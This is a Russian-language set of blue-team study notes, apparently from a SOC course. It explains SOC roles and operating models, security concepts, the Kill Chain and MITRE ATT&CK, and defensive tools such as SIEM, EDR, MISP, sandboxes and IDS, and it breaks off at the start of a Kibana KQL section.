Blue team

• Общая информация
• Инфраструктура
• SIEM (ElasticSearch)
• Системы аудита и внешний периметр
• Email и облака
• Базы данных
• Группы и GPO
• Honeypot
• Обнаружение на периметре.
• ModSecurity
• Обнаружение на альтернативных периметрах
• Анализ NetFlow
• WiFi периметр
• Противодействие во внутренней инфраструктуре
• Обнаружение после проникновения Linux
• Обнаружение после проникновения Windows
• Контроль системы виртуализации
• Дополнительные индикаторы компроментации
• Примеры атак
• Стажировки

Общая информация

Конвертация VMWare в VirtualBox

• Загрузить OVF Tool. Также вы можете найти путь установки вашего VMware (там есть ovftool).
• Через CMD с правами администратора в каталоге установки ovftool: 

  ovftool <локатор источника> <локатор назначения>
  C:\Program Files\VMware\VMware OVF Tool>ovftool.exe "D:\...\Ubuntu 64-bit.vmx" "D:\...\ubuntu_wp_lesson.ova"

• Открыть файл .ovf с помощью VirtualBox.

Сфера ответственности SOC:

SOC - security operational center

• Активный мониторинг IT-среды и сбор данных об инцидентах в режиме 24/7. Для мониторинга и сбора данных специалисты могут использовать SIEM-решения и EDR-продукты.
• Анализ подозрительных событий. 
• Реагирование на угрозы. 
• Восстановление после инцидента. 
• Расследование инцидентов. 
• Ведение реестра ресурсов. 
• Менеджмент соответствия требованиям таких как GDPR, HIPAA, CPPA и так далее.
• Обеспечение работоспособности инструментов SOC. Включает в себя поддержку работы граничных систем сетевой безопасности и инфраструктуры SOC, создание собственных правил и сигнатур, а также подбор и внедрение решений, использующихся в работе SOC.

Состав команды SOC

Аналитик 1-ой линии (L1 Analyst или Tier 1 Analyst) распределение и первичный отсев явных ложных срабатываний систем. (False Positive). Опираются на созданные сценарии для данного типа инцидента. Если аналитик 1-го уровня может, то реагирует. Иначе передает аналитику 2-го уровня.

Аналитик 2-ой линии (L2 Analyst или Tier 2 Analyst) получает фактуру по сложным инцидентам. Он анализирует уникальную ситуацию. В случае непонимания эскалация специалисту по реверс-инжинирингу или эксперту по форензике.

Аналитики 3-ей линии в основном состоят из профильных специалистов, которые хорошо разбираются в своей специализации, таких как:

• Форензик-эксперт (специалист по компьютерной криминалистике) делают:

  • что изменилось в атакованной системе (компьютере, сервере, смартфоне), какие данные были стерты, изменены или похищены вирусом,

  • какие еще системы были атакованы.

  • воссоздать полный путь распространения угрозы: определить, на каком компьютере был этот вирус впервые запущен, что он делал на зараженной системе, как затем развивалась атака и как был в итоге нанесен ущерб.

• Специалист по реверс-инжинирингу — профессиональный программист, изучающий вредоносное ПО для противодействия кибератакам. Задача - понять, как устроен вирус: запустить вирус в изолированной среде (т.н. песочнице) для анализа его поведения, провести процедуру обратной разработки и получить из файла-образца первоначальный программный код, чтобы уже в нем найти особенности, которые помогут понять, что именно делает данный вирус и как ему лучше противостоять. При этом хакеры знают, что их вирус рано или поздно попадет к такому эксперту на исследование, и поэтому применяют техники запутывания (обфусцирования) кода, чтобы усложнить задачу реверс-инжиниринга.

• Специалист по киберразведке (CyberThreat Intelligence) отвечает за поиск ранее не обнаруженных или затаившихся вредоносных программ, например вирусов-логических бомб, которые срабатывают только при наступлении определенных условий, а до этого никак себя не проявляют. Также такой эксперт ищет информацию о новых вирусах, новых киберпреступных группировках, пытается понять, не планируется ли атака на компанию-заказчика, нет ли «заказа» на кражу коммерческой информации защищаемой фирмы.

• Специалист по разработке и настройке контента в системах SIEM, SOAR, IRP:

  • составляет правила выявления реагирования в системах SOC-Центра.

  • правила автоматического реагирования, локализации, восстановления информационных систем при помощи SOAR и IRP решений. Если используются сигнатурные методы обнаружения угроз, то создает сигнатуры, т.е. описывает правила, по которым угроза должна быть обнаружена.

Инженер группы инфраструктуры — настраивает внутренние системы SOC-Центра, отвечает за стабильность получения данных. 

Сервис менеджер координируют работу команды SOC, связывает друг с другом заказчиков и исполнителей, выполняет организационную работу. Контролирует соблюдение SLA (соглашение об уровне услуг).

Руководитель SOC — занимается организационной деятельностью, планированием развития и штата, в коммерческих SOC участвует во встречах с потенциальными Заказчиками для привлечения новых клиентов. Участвует в маркетинговых активностях с целью продвижения. Является точкой эскалации при решении возникших проблем.

Операционные модели SOC:

• собственный(in-house);
• сервисный(MSSP - Managed Security Service Provider);
• гибридный.

В первом случае собственного(in-house) SOC находится полностью в собственности организации с точки зрения владения оборудованием и найма специалистов. Это самый дорогой и длительный по времени вариант построения центра мониторинга. Попытка выстраивания процессов и реализации может занять годы и не всегда может увенчаться успехом.

В случае сервисной модели SOC (или MSSP) центр мониторинга находится полностью на стороне сервис-провайдера. В этом случае заказчику не нужно нанимать и содержать персонал, разрабатывать регламенты, корреляционные правила, заниматься закупкой оборудования и лицензий для ИБ-решений, такие как SIEM, SOAR, TIP. К тому же данный вариант является наиболее быстрым в плане подключения для заказчика и может составлять от 1 месяца.

Схема сервисной модели SOC                  

В случае гибридной модели SOC оборудование приобретается на средства заказчика и разворачивается в его инфраструктуре, заказчиком закупаются лицензии для SIEM, SOAR решения, а управление осуществляется совместно с сервис-провайдером.

Схема гибридной модели SOC                

Аутсорсинговая и, в меньшей степени, гибридная модели позволяют оптимизировать затраты на ИБ и сосредоточиться на профильных активностях компании-заказчика. Собственный SOC позволяет более глубоко углубиться в процессы и особенности инфраструктуры компании, поэтому у каждой модели есть свои сильные и слабые стороны.

Концепты информационной безопасности

Конфиденциальность. Сохранение целостности, защиты от утечки сведений, которые не предназначены для общего использования и несут интеллектуальную, экономическую ценность для обладателя. Отвечает на следующие вопросы:

• Насколько защищена информация?
• Насколько она должна быть защищена?
  

К механизмам защиты конфиденциальности относятся шифрование, пароли, аутентификация, брандмауэры и т.д.. Также в этот раздел попадает физическая защита - двери, заборы и камеры.

Целостность. Состояние информации, при котором отсутствует любое её изменение, либо изменение осуществляется только преднамеренно субъектами, имеющими на него право. Для определения целостности информации можно использовать:

• Насколько верна информация?
• Была ли она изменена или повреждена?

Хеширование, цифровые подписи и контрольные суммы помогают отслеживать и проверять целостность.

Доступность. Возможность своевременного и надёжного использования информации или сервисов. Отвечает на вопрос “Всегда ли данные, которые должны быть доступны пользователю, доступны?”

Избыточность систем хранения, питания и передачи данных помогает повысить доступность информации. Также относятся стратегии резервного копирования и аварийного восстановления данных в случае повреждения или утраты. 

Риски и управление ими

Риск является центральной точкой другой триады: угрозы, уязвимости и активы.

• Если у вас нет ничего, что может быть украдено, то скорее всего вы ничем не рискуете.
• Если ваша система безупречна (вспомним сервер на подводной лодке), то уязвимостей нет.
• Если никому не нужны ваши активы или у них нет способов для их кражи, вы свободны от угроз.

Активы. Ресурс, которым владеет или который контролирует бизнес, в материальной или нематериальной форме, используемый для создания экономической выгоды.

• информация или данные;
• сетевое оборудование;
• серверы/компьютеры;
• программное обеспечение;
• персонал;
• процессы.

Уязвимости. Недостаток программно-технического средства или информационной системы в целом, который может быть использован для реализации угроз безопасности информации

Это внутренниме факторы. Патчи или дополнительные меры безопасности могут устранить эти недостатки. Иногда уязвимость находится вне вашего контроля, например, при использовании закрытого программного обеспечения. Задача инженера ИБ — компенсировать эти слабости.

Угрозы. Любое состояние, которое может привести к краже, потере, повреждению или компрометации актива.

К угрозам относятся стихийные бедствия, кибератаки или вредоносное ПО. Угрозы не обязательно должны быть преднамеренными: мать-природа тоже опасна, и случаются несчастные случаи. Задача отдела ИБ — закрыть уязвимости, соответствующие вашим угрозам, а НЕ победить саму угрозу. 

Классификация угроз

Враждебные угрозы Иностранные правительства, поставщики и конкуренты.

Случайные угрозы

• Ошибки, которые наносят ущерб безопасности системы
• Опечатки или непреднамеренные действия, вредящие безопасности.
• Сотрудник случайно взял устройство домой
• Случайное нажатие кнопки питания, пожарной сигнализации и т. д.

Инфраструктурные угрозы

• Сбой оборудования, программного обеспечения или датчиков
• Сбой жесткого диска, перегрев, ошибки и сбои
•  Причина, по которой компании делают резервное копирование и обеспечивают избыточную доступность данных.

Экологические угрозы

• Природные или техногенные катастрофы
• Пожары, наводнения, ураганы, отключение электроэнергии, обрывы проводов и т. д.
• Еще одна веская причина для резервного копирования и избыточности.
• Угрозы выходят за рамки «злоумышленников». Недовольные сотрудники, несчастные случаи и ошибки могут привести к потере активов или поставить под угрозу безопасность.

Риски меняются! Квантовые компьютеры сейчас не представляют угрозы, но могут стать ею через несколько лет, и могут радикально изменить подход к определению уязвимостей.

Обзор методологий

Lockheed Martin's Cyber Kill Chain

В 2011 году Lockheed Martin's была разработана методология Lockheed Martin's Cyber Kill Chain. Она используется для определения этапов эксплуатации компьютерных сетей.

Advanced Persistent Threats (APT). APT — это группы или организации, которые, вероятно, спонсируются национальными государствами. APT хорошо подкованы в области информационной безопасности, имеют доступ к огромным ресурсам, как финансовым, так и технологическим. Цель — получить несанкционированный доступ к системам и постоянно совершенствовать методы и тактику. 

Цепочка Cyber Kill Chain

• Разведка
• Вооружение
• Доставка 
• Эксплуатация 
• Установка 
• Управление и контроль (Command and Control, C&C, C2)
• Достижение конечной цели

MITRE ATT&CK

В 2013 году MITRE создала каталог техник, используемых в успешных APT-атаках. Подобно «Cyber Kill Chain», ATT&CK MITRE описывает активности атакующих от разведки до компрометации. 

В отличие от Kill Chain, MITRE ATT&CK описывает конкретные технические детали действий, выполняемых над целью, и связывает их в общую картину или тактику. Cyber Kill Chain компании Lockheed Martin's описывает, почему злоумышленники следуют определенной серии шагов: от разведки до эксплуатации целевых машин. Методология MITRE ATT&CK описывает, как именно злоумышленники выполняют эти действия. Всего в матрице описано 14 тактик:

• разведка (Reconnaissance);
• подготовка ресурсов (Resource Development);
• первоначальный доступ (Initial Access);
• выполнение (Execution); 
• закрепление в системе (Persistence);
• повышение привилегий (Privilege Escalation);
• обход средств защиты (Defense Evasion);
• доступ к учетным данным (Credential Access);
• исследование (Discovery);
• дальнейшее перемещение (Lateral Movement);
• сбор данных (Collection);
• управление и контроль (Command and Control);
• эксфильтрация данных (Exfiltration);
• воздействие (Impact).

Каждая тактика состоит из множества техник и подтехник. В конечном итоге, MITRE описывают конкретные действия, предпринимаемые атакующими, зачастую с указанием реальных примеров обнаруженных атак. 

Ссылка на тактику “Закрепление в системе” с техниками и подтехниками: https://attack.mitre.org/techniques/T1137/

Отчеты об атаках 

При сравнении двух отчетов можно заметить некоторые сходства:

И второй отчет:

Обратите внимание на незначительные различия между двумя таблицами. Хотя злоумышленник использовал две разные уязвимости, остальные этапы цепочки практически не изменились.

Поскольку злоумышленник использовал одно и то же имя файла, скрипт PowerShell, путь установки и IP-адрес C2, это ускоряет выявление и устранение угрозы. Сходство показателей позволяет аналитикам определить, что атаки, вероятно, проводились одними и теми же преступниками.

Дополнительные материалы

• Хакеры Черные шляпы, Белые шляпы и Серые шляпы – определение и описание
• 14 типов хакеров, которых следует остерегаться
• Хакерские группировки
• Виды угроз информационной безопасности
• Управление рисками информационной безопасности
• Книга: Кибербезопасность: главные принципы.
• Цепочка Kill Chain: от моделирования до проектирования защищенного периметра
• Аналитические статьи Positive Technologies
• Материалы и исследования BI.ZONE
• MITRE ATT&CK: что это и как применять в целях кибербезопасности
• Матрица MITRE ATT&CK, переведенная на русский язык
• Инциденты информационной безопасности: выявление, расследование и реагирование

Инфраструктура

Средства защиты

Мониторинг ИБ автоматизируют с помощью LM/SIEM, UBA/UEBA, IRP/SOAR, TIP, IDS/IPS, NTA, EDR, XDR, DDP. Постоянно развивается.

Log Management

Может быть в виде специализированного решения или унифицированного варианта, типа Elastic Stack. Централизованное хранилище журналов событий различных источников, приведенные к единой модели данных. Простой, гибкий и производительный поиск по событиям, отчёты и визуальные панели (дашборды) на основе таких поисков, но без корреляции событий на потоке. LM дешевле SIEM решение. Может работать рядом с SIEM. Задачи Log Management;

• Изучение логов в производительной среде. 
• Оценка нагрузки на источник от передачи событий в стороннюю систему. Можно изучить и нагрузку на сеть. Помню случай, когда трафик проходил через межсетевой экран по пути от одной подсети сегмента в другую. Поток Syslog-событий большого объёма привёл к отказу в обслуживании на данном файрволе.
• Понимание необходимости дополнительных логгеров на существующих источниках по результатам расследований. События Sysmon могут быть информативнее событий Windows. А Auditbeats фиксирует то же, что и auditd, но не дробит единое событие на четыре строки, что требует дополнительной корреляции и лицензионной квоты.
• Оценка потока событий. У интеграторов и производителей есть калькуляторы, которые позволяют теоретически оценить какое количество событий в среднем генерирует каждый тип источника событий. На практике генерация событий источниками зависит от их функций и нагруженности.
• Привести инфраструктуру в соответствие с политиками и регламентами. Для большинства этих кейсов корреляция не требуется. LM позволит выявлять несоответствие политикам (использование неразрешенного ПО, не регламентированных подключений к сетевым портам и т.д.). 
• Организовать Threat Hunting и расследование инцидентов. LM для данной задачи — единственная необходимая платформа. Например, вы видите вредоносный DNS-запрос на межсетевом экране, в журнале МЭ фигурирует в качестве инициатора контроллер домена, для выявления хоста инициатора необходимо еще проанализировать журналы DNS-сервера для определения какой хост выполнял запрос и на нем анализировать вредоносный процесс.

Security Information and Event Management(SIEM)

Система управления информацией и событиями в системе безопасности. Объединяет в одной точке данные об инцидентах ИБ. Собирает информацию из журналов событий средств защиты, сетевого оборудования, рабочих станций сотрудников и других ресурсов — тем самым исключает необходимость проверять их по отдельности и снижает риск возникновения слепых зон. Задачи SIEM:

• нормализация данных различных источников в единообразный и пригодный для обработки формат;
• мониторинг и консолидация событий безопасности со всех систем и устройств корпоративной сети;
• обогащение данных о событиях связанной информацией из других ресурсов;
• регистрация инцидентов на основе заданных правил корреляции — взаимосвязей между событиями и их цепочками, в том числе из разных источников;
• информирование оператора об инциденте через чат-бот, email-сообщение, уведомление в интерфейсе системы и другими способами;
• хранение исторических данных о всех событиях ИБ и поддержка при расследовании инцидентов;
• анализ и управление рисками безопасности, проверка на соответствие стандартам и требованиям регуляторов;
• формирование отчетных документов для внутренних целей и контролирующих органов.

Компоненты SIEM

• агенты, устанавливаемые на инспектируемую информационную систему (актуально для операционных систем (агент представляет собой резидентную программу (сервис, демон), которая локально собирает журналы событий и по возможности передает их на сервер);
• коллекторы на агентах, которые, по сути, представляют собой модули (библиотеки) для понимания конкретного журнала событий или системы;
• серверы-коллекторы, предназначенные для предварительной аккумуляции событий от множества источников;
• сервер-коррелятор, отвечающий за сбор информации от коллекторов и агентов и обработку по правилам и алгоритмам корреляции;
• сервер баз данных и хранилища, отвечающий за хранение журналов событий.

ServiceDesk, IRP, SOAR

Система обработки заявок. Изначально при построении SOC, может не быть Incident Response Platform(IRP) или Security Orchestration, Automation and Response(SOAR), для фиксации и описания деталей инцидента в минимальном формате подходит ServiceDesk.

IRP/SOAR — это специализированный ServiceDesk с функцией исполнения скриптов. Если у вас получится закрыть часть требований встроенным функционалом, вам необходимо получить более простые и стабильные способы работы со скриптами или дать службе мониторинга отдельный от ИТ инструмент со специализированным интерфейсом.

Автоматизация способна ускорить реагирование на часть кейсов на 1-2 порядка. Второй вариант использования — учёт действий аналитика. Если в инциденте участвует критичный актив, например, АСУ ТП, каждый шаг должен быть выполнен компетентным сотрудником, который ответственен за решение, ничего не должно быть пропущено, действия должны журналироваться.

Основные функции IRP, SOAR

• Единая регистрация всех инцидентов безопасности в системе. IRP поддерживает работу в режиме «одного окна», где происходит создание, выполнение задач, контроль их состояния.
• Ускорение отклика на инциденты. За счет автоматизированного анализа, сбора дополнительной информации для расследования инцидентов путем интеграции различных СЗИ, проведения коррекции ответных мер на основании анализа разных источников угроз.
• Своевременное оповещение соответствующих лиц в системе о наступлении критически важных инцидентов. Реализуется за счет локальных сообщений в местных интерфейсах, электронной почты, мессенджеров, sms.
• Предоставление актуальной статистики, иллюстрирующей текущее состояние IT-активов, число инцидентов, уязвимостей, выборка данных по требующимся метрикам.
• Предоставление единого централизованного инструмента для выполнения инвентаризации IT-активов компании. Посредством IRP можно собрать полную информацию о текущих IT-активах на базе одного решения, предоставить пользователям права доступа в систему на основе разграничения прав. Эти процессы автоматизированы, затрагивают полный жизненный цикл IT-активов, что в разы повышает удобство и эффективность управления ими.

Пример информации:

• время первого и последнего события;
• плановые сроки взятия в работу и решения;
• таймлайн событий инцидента и общее количество событий;
• критичность;
• признак массового инцидента;
• принадлежность к техникам и тактикам;
• тэги инцидента и другое.

Жизненный цикл инцидента

Для оценки уровня реагирования на инциденты ИБ необходимо понимание жизненного цикла инцидента. Основные метрики жизненного цикла инцидента:

• Среднее время регистрации заявки с подозрением на инцидент(МTTD). Отправка события ИБ в SIEM, регистрация заявки в IRP, предобработка, обогащение данными.
• Среднее время подтверждение инцидента(MTTA). Аналитик берет инцидент в работу, анализирует и подтверждает инцидент.
• Среднее время локализация инцидента(MTTC). Изоляции зараженного хоста от рабочего сегмента сети.
• Cреднее время, необходимое на восстановление работоспособности системы после получения сигнала о сбое или кибератаке(МTTR).

EDR

Входит в состав антивирусной защиты, систем защиты от утечек данных и т.д. Но функционал — это дополнительная телеметрия (Detection в Endpoint Detection and Response) и возможности по реагированию (Response).

Телеметрия расширяет и унифицирует функции штатных журналов операционных систем. То, что раньше выявлялось SIEM на основе нескольких событий или не выявлялось вовсе, теперь фиксируется как единая запись агента EDR, обогащённая различными метаданными. И, насколько это возможно, не зависит от семейства и версии операционной системы, на которую установлен агент. EDR содержит следующие функции:

• сбор артефактов, нетипичных журналов событий из системы, например если вам надо оперативно получить потенциально вредоносный файл для анализа, то можно это сделать из консоли управления EDR;
• интерактивный веб-шелл для выполнения удаленно команд на хосте, например для завершения работы вредоносного процесса в системе;
• возможность удаленно и централизованно настраивать аудит событий или фильтрацию.

Реагирование средствами EDR делает процесс максимально оперативным и гибким. Результат использования EDR — расширенная телеметрия и локальное автоматизированное реагирование. На сегодняшний день наиболее эффективны коммерческие решения EDR, но так же есть Open-source EDR решение, например SOLDR или Wazuh.

TIP

Средство обработки входящего Threat Intelligence(TI). TI содержит в себе совокупность индикаторов компрометации (Indicator of Compromise) — IP(Internet Protocol), FQDN(Fully Qualified Domain Name), URL(Uniform Resource Locator), Hash и т.д., которые известны как злонамеренные, так как были ранее зафиксированы в компьютерных атаках. Цель TI - сокращение разрыва между первым обнаружением атаки где-то в мире и возможностью выявлять её у нас в инфраструктуре.

Разве нельзя IOC использовать в средствах защиты напрямую, зачем TIP? Этот класс решений предоставляет функционал управления TI — нормализация, обогащение, дедупликация, приоритезация, хранение, устаревание, удаление.

В систему приходит IOC и подвергается нормализации – приведению к единому набору полей заданного формата. С ним можно связать другие индикаторы – узнать FQDN по IP или всё семейство хэшей по исходному. Если IOC уже есть в базе – добавить атрибуты, например, что мы видели его в данных ещё одного источника в такое-то время. И присвоить ему оценку.

При работе с индикатором аналитик исследует гипотезу, подтверждает или опровергает её, строит граф связей. Результат использования TIP – на средства защиты, в том числе в систему мониторинга, попадает более качественный, однозначно трактуемый и актуальный TI. А перечни IOC сокращаются на порядок, что позволяет повысить эффективность средств защиты, их использующих.

MISP

Одним из основных open-sourсe TIP-платформ является MISP. MISP (Malware Information Sharing Platform) — это открытая платформа для обмена информацией о угрозах, которая используется для обмена, обработки и проверки информации о киберугрозах и их контрмерах. Она была разработана для обеспечения быстрого и эффективного обмена информацией между различными организациями.

MISP предоставляет инструменты для обмена, совместного использования и хранения информации о киберугрозах, включая индикаторы компрометации (IOC), тактики, техники и процедуры (TTP) атак, и пр. Это позволяет организациям быстро адаптироваться к новым угрозам и обеспечивать своевременный и эффективный ответ на инциденты безопасности.

Примеры использования MISP

• Совместное использование информации об угрозах: Компания А может поделиться информацией о недавней фишинговой атаке через MISP. Это поможет другим банкам узнать об этой атаке и принять меры по защите от аналогичных атак.
• Анализ угроз: Исследовательская группа по безопасности может использовать MISP для анализа информации об угрозах, собранной из разных источников, и создания отчетов об угрозах для своих клиентов.
• Обучение и симуляции: Учебные заведения и обучающие центры могут использовать MISP для создания реалистичных сценариев для обучения и симуляции кибератак.

SandBox

При выявлении подозрительных файлов приходится их анализировать. Для безопасного анализа созданы песочницы(SandBox). Запускают файл в изолированной среде и фиксируют все выполненные действия, такие как: запуска процессов, загрузки библиотек, сетевые соединения, DNS-запросы, вызовы WinAPI-функций, создание/удаление файлов и т.д.

Так же события полученные от потоковых песочниц, которые проверяют файлы поступившие на почтовый сервер, можно направить в SIEM-систему, если песочница работает в режим мониторинга без блокировки. 

ANYRUN

Удобство и особенность песочницы ANYRUN в том, что есть возможность самому запускать файлы или открывать веб-страницы в интерактивном режим.

Области песочницы поделены на три блока:

• Интерактивное окно виртуальной машины.
• Информация о сетевых соединениях, HTTP, DNS-запросах, IDS-сигнатурах.
• Запущенные процессы и команды.

Cuckoo

Загрузка файлов в облачных песочницах может быть недопустима. Для локального анализа есть open-source решение класса песочницы Cuckoo Sandbox, которую можно развернуть у себя в инфраструктуре. Три блока с информацией:

• О размере файла, тип файла, хэш-суммы.
• Какие YARA-правила сработали и выявлии аномалии.
• Показатель вредоносности файла по 10 бальной шкале.

Ниже детальная информация о сигнатурах. Красным цветом выделены наиболее критичные сигнатуры.

Другие зарубежные облачные песочницы

• https://www.hybrid-analysis.com/
• https://www.vmray.com/

NTA/NBA 

Network Traffic Analysis — запись трафика для его последующего исследования. Гораздо больший по сравнению с LM/SIEM объем хранилища и необходимость предварительной расшифровки данных.

Трафик объединяет в себе и информацию, и факт её передачи. В отличие от событий, генерация которых избирательна, он полностью описывает, что произошло между двумя взаимодействующими системами, и его нельзя удалить или сфабриковать. События собираются в LM или SIEM с некоторой задержкой, если это не Syslog, в случае которого возможен спуфинг. А если успеть очистить журнал источника (действие, подозрительное само по себе), что точно случилось узнать будет трудно.

Можно использовать решения класса Network Behavior Analysis — аналог U(E)BA для сети. Чаще выпускаются в виде обособленных продуктов. Основных сетевых протоколов несколько десятков, что делает решение «из коробки» довольно эффективным.

NTA и NBA — это аналоги SIEM и U(E)BA, позволяющие в более удобном и гибком варианте анализировать сетевой трафик.

В качестве opensource решения NTA можно рассмотрим Arkime, которое парсит и складывает трафик в Elasticsearch и pcap(Packet Capture) файлы. Это позволяет анализировать сетевой трафик из веб-интерфейса. Предусмотрена интеграция c Suricata – Arkime умеет сопоставлять алерт с сессией и отображать это в интерфейсе.

BAS

Системы Breach and Attack Simulation (BAS) - комплексное тестирование киберзащиты инфраструктуры компании путём автоматизированной симуляции реальной атаки злоумышленника.

Современные системы киберзащиты инфраструктур быстро эволюционируют, развиваются и становятся более комплексными с каждым годом. Происходит не только повышение сложности самих систем, но и постоянная оптимизация процессов защиты в компании. Становится всё труднее определить вектор движения по усилению защиты. Компании проводят пентесты, «редтиминг», сканирование на уязвимости — ищут различные решения, которые помогут как-то оценить текущий уровень защищённости и увидеть слабые места. Рутинность процессов требует автоматизации решений. Данных о прогнозировании потенциальных векторов уже недостаточно, необходим систематический запуск симуляции реальных действий злоумышленника. Решения BAS помогают автоматизировать такую симуляцию, а полученные результаты — увидеть актуальную картину того, каково состояние защиты компании. В контексте SOCa BAS может помочь для выявления собираются ли всех необходимые события аудита систем, для выявления не детектируемых техник и процедур атакующих из матрицы MITRE ATT&CK с последющей разработкой и для проверки корректности работы корреляционных правил выявления атак.

Примеры

• Infection Monkey
• Invoke-Atomic от RedCanary Atomic Red Team.

UBA/UEBA

User and Entity Behavior Analytics (UEBA, «поведенческий анализ пользователей и сущностей») — технология выявления киберугроз, основанная на анализе поведения пользователей, а также устройств, приложений и иных объектов в информационной системе. Бывают самостоятельные и в виде модуля SIEM. 

Подозрительное действие пользователя (User в User Behavior Analysis) и сущность (Entity в UEBA; чаще всего это хост), приводит к добавлению баллов. После уровня создаётся подозрение на инцидент или аналитик сам следит за ТОП подозрительных пользователей. «Репутация» обнуляется со временем. Например, сумма баллов уменьшается на фиксированную величину или процент каждый час. Работа с такими данными не отличается от стандартных подозрений на инциденты.

Основные компоненты UEBA

• Сбор данных: UEBA работает на основе обширного сбора данных из различных источников, таких как журналы аутентификации пользователей, журналы сетевого трафика, данные об использовании привилегий и многое другое. 
• Машинное обучение и анализ данных: После сбора данных UEBA применяет машинное обучение и анализ данных для выявления поведенческих шаблонов. Алгоритмы машинного обучения выявляют нормальные поведенческие тренды пользователей и сущностей, а затем ищут аномалии, которые могут указывать на подозрительную активность.
• Профили пользователей и объектов: UEBA создает профили пользователей и объектов с типичным поведением сущности. Это включает часы работы, местоположение, уровень доступа и другие характеристики. Затем система использует эти профили для сравнения с текущим поведением и обнаружения отклонений.
• Детектирование угроз и инцидентов: При обнаружении аномалий UEBA генерирует предупреждения для ИТ-специалистов, указывая на потенциальные угрозы безопасности или необычное поведение. Это позволяет оперативно реагировать на инциденты и предотвращать возможные атаки.

Результат использования U(E)BA — выявление угроз методами с высоким уровнем ложных срабатываний(false-positive) или методами, для которых невозможно создать и поддерживать простой алгоритм без ущерба для качества обнаружения инцидентов.

DDP

Distributed Deception Platform(«платформа с распределенными ловушками») - сокрытие реальных объектов инфраструктуры компании, запутывания атакующих и направления их «по ложному следу». Также используют Deception-платформы для проактивного поиска киберугроз, заманивая атакующих в контролируемую среду и позволяя им «украсть» поддельные данные (приманки), движение которых можно будет затем отследить: например, позволив атакующим «украсть» специально созданные тестовые учетные данные, можно будет затем отследить попытки их применения или публикации и сделать соответствующие выводы. Таким образом, Deception-платформы могут дополнять другие методы обнаружения атак (сигнатурные и на основании выявления аномалий) и предоставлять команде SOC ценную информацию для выявления скрытой вредоносной активности.

Deception-решения позволяют автоматизированно «раскидать» приманки по инфраструктуре компании, анализировать действия, выполняемые атакующими, контролировать их перемещение между приманками. В отличие от классических Honeypot/Honeynet-технологий, Deception-системы позволяют автоматизировать создание и контроль приманок, направлять по ложному следу атакующих, обеспечивать проактивный поиск и анализ киберугроз. Таким образом классический Honeypot является частью системы Distributed Deception Platform. Приманки могут представлять из себя

• поддельные учетные записи, документы, файловые «шары», размещенные на определенном устройстве;
• поддельные системы, сервисы, серверы, которые на первый взгляд неотличимы от настоящих, но оснащены технологиями «песочниц» для контроля и анализа действий атакующих;
• поддельные объекты Active Directory, которые могут заинтересовать атакующих;
• периметровые приманки, похожие на настоящие веб-сервисы, для отвлечения атакующих путем наведения их на ложные цели. 

Внедрение Deception-решения оправдано для зрелых команд SOC, осознающих риски и сложности: от необходимости настройки Deception-инфраструктуры до возможности захвата Deception-инфраструктуры атакующими и использования ее в качестве плацдарма для дальнейших атак на компанию. Перед внедрением Deception-платформы следует убедиться в общей зрелости и готовности команд SOC к разумному использованию Deception-решения, выделить соответствующие ресурсы, разработать правила работы с обнаруженными атаками (например, порядок принятия решений о дальнейшем мониторинге действий атакующих или блокировании их действий).

DDP решение для SOCа будет хорошим дополнением для выявления сложных атак, которые тяжеловато выявить обычными корреляционными правилам, такие как например Kerberoasting. Из open-source решений DDP можно рассмотреть Dejavu.

IDS/IPS

Анализирует копию трафика (Detection в Intrusion Detection Systems) или блокирует вредоносную активность (Prevention). Обычно гибридный режим. Аналог антивируса для сети. Метод обнаружения - сигнатуры, от обновления которых зависит эффективность работы системы.

Системы IDS делят по месту установки и принципу действия.

По месту установки

• Network Intrusion Detection System (NIDS). Система глубоко анализирует трафик всех сетевых устройств с канального уровня до уровня приложений. Распознают внешние и внутренние угрозы. Большой объём данных тормозит NIDS или провоцирует пропуск отдельных пакетов, что несёт за собой риски.
• Host-based Intrusion Detection System (HIDS). Ставятся на один хост внутри сети, анализируют и защищают только его трафик. HIDS делает снимок текущей версии хоста и сравнивает его со сделанной ранее, обнаруживая возможные угрозы. Установка такого решения рекомендована для критически важных хостов, в конфигурации которых изменений практически не бывает.
• Perimeter Intrusion Detection Systems (PIDS). Не обеспечивает защиту всей сети, уведомляя лишь о возможных нарушениях границы сети. Ближайший аналог — забор вокруг дома.
• Virtual Machine-based Intrusion Detection Systems (VMIDS). На базе виртуализации, позволяет отказаться от развёртывания системы обнаружения на отдельном устройстве. Чтобы своевременно распознавать подозрительную активность, достаточно развернуть VMIDS на виртуальной машине.
• Application Protocol-based Intrusion Detection System (APIDS). Система обеспечивает контроль пакетов, которые передаются по протоколу прикладного уровня. Например, используемого для обращения к БД SQL.
• Hybrid Intrusion Detection System (HyIDS). Решение фактически представляет собой гибридное решение, сочетающее свойства двух или более типов решений, перечисленных выше.

По принципу действия

• Сигнатурные. Анализируют сигнатуры с имеющимися в постоянно обновляемой базе. Если доступа к базе нет или она устарела, эффективность сигнатурного решения снижается. Есть риск и с некорректным распознаванием новой атаки с неизвестной сигнатурой. Сигнатурные IDS отслеживают состояние системы, а не события.
• Основанные на аномалиях. Решение использует технологии машинного обучения. Чтобы оно корректно работало на объекте, необходимо провести предварительное обучение. Срок обучения зависит от сложности ИТ-инфраструктуры компании. Принцип работы следующий: система изучает работу сети на текущий период времени и сравнивает с аналогичным периодом в поиске аномалий трёх типов — статистических, аномалий протоколов и трафика. Такие системы защиты эффективны, но сложны.

Основные решения IDS/IPS

• Zeek(Bro): сетевая система обнаружения вторжений, основанная на Unix-системе. Использует собственный язык для написания политик, которые будут определять последовательность действий при обнаружении атаки или срабатывании датчиков тревоги.
• Snort: кроссплатформенное IDS/IPS решение с открытым исходным кодом. Умеет вести протоколирование, анализировать и искать по содержимому. Применяется для активного блокирования или пассивного обнаружения широкого спектра атак и зондирований.
• Suricata: решение с открытым кодом, в котором используются актуальные технологии, позволяющие увеличить скорость работы. Suricata сочетается со стандартными приложениями и поддерживает большинство доступных модулей. Работает по принципу анализа сигнатур.

Пример схемы СЗИ

SIEM (ElasticSearch)

Компоненты

ELK-запросы. KQL

Для составления запросов в Kibana используется KQL(Kibana Query Language). Подробнее по ссылке.

Рассмотрим основной интерфейс вкладки Discover в Kibana:

1. Окно выбора временного периода для ограничения поиска.
2. Выбор индекса с данными. Данные с различных источников могут иметь разный формат и записываться в разные индексы(базы). 
3. Строка запросов KQL.
4. Доступные в текущем поиске поля данных.
5. Результаты поиска. 

Выбор времени и индекса

Выбирается абсолютный /относительный диапазоны времени. Список доступных индексов находится в левой части экрана. 

Поля с данными

